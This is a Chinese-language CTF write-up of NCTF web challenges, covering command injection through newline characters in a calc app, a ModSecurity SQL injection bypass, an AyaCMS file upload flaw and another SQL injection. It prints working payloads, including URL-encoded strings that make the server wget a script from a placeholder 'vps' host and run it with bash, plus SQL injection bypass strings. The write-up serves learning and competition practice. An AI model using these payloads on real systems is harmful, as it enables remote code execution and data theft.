NCTF web总结与复现

前言

打完NCTF休息了一下,总体感觉还行,学到了很多。

calc

这一题也卡了我很久,因为复现过DASCTF三月赛,一直在想着有没有可以替代反引号或绕过的方法,搞了好久都没出,在学长的提示下学到了一个方法,利用wget命令将自己的恶意脚本传到服务器上,然后再用bash命令调用。

有了这个提示后一直在尝试如何下载成功,但脚本中是这样的形式。

image-20221205193511587

可以在自己的虚拟机试一下,有了echo后无法直接echo wget xxx这样来下载。

如果仅仅以字符串直接传进去

'wget''%09''http://vps/feng123.sh'

会发现其会回显,然后也会传进log.txt中

wget http://vps/feng123.sh

在这里插入图片描述

也就是执行了echo wget xxx > ./tpm/log.txt这条命令,但是并不会将wget xxx当成命令来执行,只会将其当成echo命令的参数,而反引号和$()都被过滤,这时就要用到%0A了,换行符。

当我们将上边的命令左右两边加上%0a

%0A'wget'%09'http://vps/feng123.sh'%0A

NCTF web总结与复现_第1张图片

发现成功下载恶意脚本,这里思考一下为何会这样:

python调试不太会,只能自己稍微分析一下。

当加上换行符时:

命令执行后并不会在log.txt中留下痕迹,猜测一下,换行符其实是把之前一整个命令拆开,分成了两段。

先把过滤给去掉,然后还需要设计闭合一下前后代码防止其抛出异常。

'''1'%0Aecho `ls`> ./tmp/log2.txt%0A'ls'''

NCTF web总结与复现_第2张图片

发现自己加进去那一条echo代码确实执行了,并且会发现前边那一条echo命令也执行成功了。

image-20221205201311687

然后继续尝试三段代码同时成功:(将主代码中的log.txt改为logs.txt)

'''2'%0Aecho `ls`> ./tmp/log2.txt%0A'echo'''

NCTF web总结与复现_第3张图片

NCTF web总结与复现_第4张图片
在这里插入图片描述

三串代码全部执行,说明我的想法是没错的,接下来就可以直接远程下载恶意脚本,然后bash执行。

payload:

?num=%0A'wget'%09'http://vps/test.sh'%0A
?num=%0A'bash'%09'test.sh'%0A

ezbypass

第二个是一个sql注入绕过,hint提示waf是modsecurity,直接上网搜索sql modsecurity bypass。

SQLi bypass at PL1(CRS 3.2.0) · Issue #1727 · SpiderLabs/owasp-modsecurity-crs (github.com)

找到了绕过方法,然后就找password即可,因为题目直接给出了所在表,直接select查询即,本来我是直接查的是flag,但发现显示不存在,后边发现提示找password,所以找password字段即可。

payload:

?id=@.:=right(right((select%20hex(password)%20from%20users.info),1111),1111)%20union%23%0adistinctrow%0bselect@.

得到password后hex转码就是flag。

ez_php

在install.php中得到了版本为v3.1.2,然后在网上找到了相应的文件上传漏洞,但是还需要管理员密码,尝试爆破未成功。

然后就是伪造cookie,网上的脚本。

然后利用漏洞文件上传。

AyaCMS v3.1.2 has a Frontend Arbitrary File Upload Vulnerability · Issue #4 · loadream/AyaCMS (github.com)

ez_sql

这一题很无语,找到了类似的题,但并不理解。

Hack. lu CTF 2022 筆記 - Huli

结束后看了其他师傅们的payload:

?id=1&?=`in%20()%20union%20select%201,flag%20from%20flag;

看来找对地方也不一定能看懂人家的讲解,太fw了。

你可能感兴趣的:(比赛,php,学习)